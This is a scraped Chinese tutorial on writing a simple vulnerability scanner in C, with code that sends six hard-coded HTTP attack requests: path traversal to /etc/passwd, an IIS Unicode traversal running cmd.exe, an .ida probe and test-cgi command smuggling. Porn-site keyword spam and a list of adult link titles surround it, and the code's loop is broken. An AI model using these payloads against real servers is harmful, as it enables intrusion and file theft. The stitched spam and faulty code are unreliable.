六月婷婷综合激情-六月婷婷综合-六月婷婷在线观看-六月婷婷在线-亚洲黄色在线网站-亚洲黄色在线观看网站

明輝手游網中心:是一個免費提供流行視頻軟件教程、在線學習分享的學習平臺!

編寫漏洞掃描器

[摘要]一、漏洞掃描器基本原理: 編寫漏洞掃描器探查遠程服務器上可能存在的具有安全隱患的文件是否存在,它的socket建立過程和上面的端口掃描器是相同的,所不同的是漏洞掃描器通常使用80端口,然后對這個端...
一、漏洞掃描器基本原理:  

編寫漏洞掃描器探查遠程服務器上可能存在的具有安全隱患的文件是否存在,它的socket建立過程和上面的端口掃描器是相同的,所不同的是漏洞掃描器通常使用80端口,然后對這個端口發送一個GET文件的請求,服務器接收到請求會返回文件內容,如果文件不存在則返回一個錯誤提示,通過接收返回內容可以判斷文件是否存在。發送和接收數據需要使用函數send()和recv(),另外對流中存在的字符串進行判斷需要使用函數strstr(),這除了需要具備socket函數庫的知識以外,還需要一些有關string函數庫的知識。  

二、簡單的漏洞掃描源代碼:  

/********************************************/  
/* 端口掃描器 源代碼 */  
/* CgiScanner.cpp */  
/********************************************/  

#include <stdio.h>  
#include <string.h>  
#include <winsock.h>  

int main(int argc,char *argv[])  
{  
if(argc!=2){  
printf("Useage : scan [IP address]\n");  
return(1);  
}  

struct sockaddr_in blah;  
struct hostent *he;  
WSADATA wsaData;  
int i;  
WORD wVersionRequested;  
SOCKET sock;  

char buff[1024];  
char *ex[10];  
ex[1]="GET /../../../../etc/passwd HTTP/1.0\n\n";  
ex[2]="GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0\n\n";  
ex[3]="GET /A.ida/%c1%00.ida HTTP/1.0\n\n";  
ex[4]="GET /cgi-bin/pfdispaly.cgi?/../../../../etc/motd HTTP/1.0\n\n";  
ex[5]="GET /cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd HTTP/1.0\n\n";  
ex[6]="GET /cgi-bin/test-cgi?* HTTP/1.0\n\n";  
char *fmsg="HTTP/1.1 200 OK";  

wVersionRequested = MAKEWORD( 1, 1 );  
if (WSAStartup(wVersionRequested , &wsaData)){  
printf("Winsock Initialization failed.\n");  
exit(1);  
}  

if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){  
printf("Can not create socket.\n");  
exit(1);  
}  
sock = socket(AF_INET,SOCK_STREAM,0);  
blah.sin_family = AF_INET;  
blah.sin_port = htons(80);  
blah.sin_addr.s_addr= inet_addr(argv[1]);  

if ((he=gethostbyname(argv[1]))!=NULL){  
memcpy((char *)&blah.sin_addr.s_addr,he->h_addr,he->h_length);  
}  
else{  
if((blah.sin_addr.s_addr=inet_addr(argv[1]))==-1){  
WSACleanup();  
exit(1);  
}  
}  

for (i=1 ; i<7; i++) {
if (connect(sock,(struct sockaddr*)&blah,sizeof(blah))==0){
send(sock,ex[i],strlen(ex[i]),0);
recv(sock,buff,sizeof(buff),0);
if(strstr(buff,fmsg)!=NULL){
printf("\nFound :%s\n", ex[i]);
}
}

closesocket(sock);
WSACleanup();
return(1);
}
}

這段代碼可以檢測六個漏洞,讀者可以根據自己的需要增加漏洞掃描的數量。程序實現的很簡潔,概括起來這段程序完成了一下四項工作:

1、連接目標主機SERVER;
2、向目標主機發送GET請求;
3、接收目標返回數據;
4、根據返回數據判斷文件是否存在。


主站蜘蛛池模板: 日本高清视频色wwwwww色 | 羞羞人成午夜爽爽影院 | 青娱乐综合网 | 亚洲精品乱码久久久久久 | 一二三四在线观看日本 | 四虎国产精品永免费 | 亚洲免费网站观看视频 | 中日韩免费视频 | 亚洲女人小便 | 日日摸夜夜添夜夜添毛片 | 图片亚洲va欧美va国产综合 | 一二三四免费观看在线8 | 中文字幕欧美日韩在线不卡 | 日韩色区 | 午夜欧美性视频在线播放 | 婷婷六月丁香色婷婷网 | 日韩性视频网站 | 香蕉久草视频 | 四虎在线视频免费观看视频 | 欧美五月激情 | 亚洲男人的天堂久久香蕉 | 一级黄色片免费的 | 欧美综合色 | 色先锋资源网 | 欧美一级一级做性视频 | 啪啪免费小视频 | 午夜免费毛片 | 色综合中文字幕色综合激情 | 在线v | 日本不卡在线视频高清免费 | 日韩毛片在线免费观看 | 人人看人人| 青青草手机在线视频 | 日韩在线国产精品 | 天天操天天干天天拍 | 亚美黑人区| 香蕉香蕉国产片一级一级毛片 | 午夜国产精品福利在线观看 | 亚日韩 | 在线免费黄 | 欧美在线不卡 |